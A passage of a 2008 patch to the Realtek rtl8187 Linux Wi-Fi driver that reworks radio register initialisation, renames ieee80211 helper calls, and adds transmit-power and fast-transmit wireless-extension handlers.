priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-15 00:40:10.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ 